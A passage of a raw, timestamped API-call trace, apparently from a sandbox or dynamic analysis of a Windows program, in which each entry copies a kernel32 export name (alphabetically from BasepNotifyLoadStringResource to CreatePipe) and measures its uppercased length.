(in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0140.839] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0140.839] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0140.839] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0140.839] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0140.839] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0140.839] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0140.839] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0140.839] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0140.839] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0140.839] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0140.839] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0140.839] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0140.839] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0140.839] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0140.839] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0140.839] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0140.839] lstrlenA (lpString="BEEP") returned 4 [0140.839] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0140.839] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0140.840] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0140.840] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0140.840] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0140.840] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0140.840] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0140.840] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0140.840] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0140.840] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0140.840] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0140.840] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0140.840] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0140.840] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0140.840] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0140.840] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0140.840] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0140.840] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0140.840] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0140.840] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0140.840] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0140.840] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0140.840] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0140.840] lstrlenA (lpString="CANCELIO") returned 8 [0140.840] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0140.840] lstrlenA (lpString="CANCELIOEX") returned 10 [0140.840] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0140.840] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0140.840] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0140.840] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0140.840] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0140.840] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0140.840] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0140.840] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0140.840] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0140.840] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0140.840] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0140.840] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0140.841] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0140.841] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0140.841] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0140.841] lstrlenA (lpString="CHECKELEVATION") returned 14 [0140.841] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0140.841] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0140.841] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0140.841] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0140.841] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0140.841] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0140.841] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0140.841] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0140.841] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0140.841] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0140.841] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0140.841] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0140.841] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0140.841] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0140.841] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0140.841] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0140.841] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0140.841] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0140.841] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0140.841] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0140.841] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0140.841] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0140.841] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0140.841] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0140.841] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0140.841] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0140.841] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0140.841] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0140.841] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0140.841] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0140.841] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0140.841] lstrlenA (lpString="CLOSESTATE") returned 10 [0140.841] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0140.842] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0140.842] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0140.842] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0140.842] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0140.842] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0140.842] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0140.842] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0140.842] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0140.842] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0140.842] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0140.842] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0140.842] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0140.842] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0140.842] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0140.842] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0140.842] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0140.842] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0140.842] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0140.842] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0140.842] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0140.842] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0140.842] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0140.842] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0140.842] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0140.842] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0140.842] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0140.842] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0140.842] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0140.842] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0140.842] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0140.842] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0140.842] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0140.842] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0140.842] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0140.842] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0140.842] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0140.843] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0140.843] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0140.843] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0140.843] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0140.843] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0140.843] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0140.843] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0140.843] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0140.843] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0140.843] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0140.843] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0140.843] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0140.843] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0140.843] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0140.843] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0140.843] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0140.843] lstrlenA (lpString="COPYCONTEXT") returned 11 [0140.843] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0140.843] lstrlenA (lpString="COPYFILE2") returned 9 [0140.843] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0140.843] lstrlenA (lpString="COPYFILEA") returned 9 [0140.843] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0140.843] lstrlenA (lpString="COPYFILEEXA") returned 11 [0140.843] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0140.843] lstrlenA (lpString="COPYFILEEXW") returned 11 [0140.843] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0140.843] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0140.843] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0140.843] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0140.843] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0140.843] lstrlenA (lpString="COPYFILEW") returned 9 [0140.843] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0140.843] lstrlenA (lpString="COPYLZFILE") returned 10 [0140.843] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0140.843] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0140.843] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0140.843] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0140.843] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0140.843] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0140.844] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0140.844] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0140.844] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0140.844] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0140.844] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0140.844] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0140.844] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0140.844] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0140.844] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0140.844] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0140.844] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0140.844] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0140.844] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0140.844] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0140.844] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0140.844] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0140.844] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0140.844] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0140.844] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0140.844] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0140.844] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0140.844] lstrlenA (lpString="CREATEEVENTA") returned 12 [0140.844] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0140.844] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0140.844] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0140.844] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0140.844] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0140.844] lstrlenA (lpString="CREATEEVENTW") returned 12 [0140.844] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0140.844] lstrlenA (lpString="CREATEFIBER") returned 11 [0140.844] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0140.844] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0140.844] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0140.844] lstrlenA (lpString="CREATEFILE2") returned 11 [0140.844] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0140.844] lstrlenA (lpString="CREATEFILEA") returned 11 [0140.844] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0140.844] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0140.844] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0140.844] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0140.844] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0140.845] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0140.845] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0140.845] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0140.845] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0140.845] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0140.845] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0140.845] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0140.845] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0140.845] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0140.845] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0140.845] lstrlenA (lpString="CREATEFILEW") returned 11 [0140.845] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0140.845] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0140.845] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0140.845] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0140.845] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0140.845] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0140.845] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0140.845] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0140.845] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0140.845] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0140.845] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0140.845] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0140.845] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0140.845] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0140.845] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0140.845] lstrlenA (lpString="CREATEJOBSET") returned 12 [0140.845] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0140.845] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0140.845] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0140.845] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0140.845] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0140.845] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0140.845] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0140.845] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0140.845] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0140.845] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0140.846] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0140.846] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0140.846] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0140.846] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0140.846] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0140.846] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0140.846] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0140.846] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0140.846] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0140.846] lstrlenA 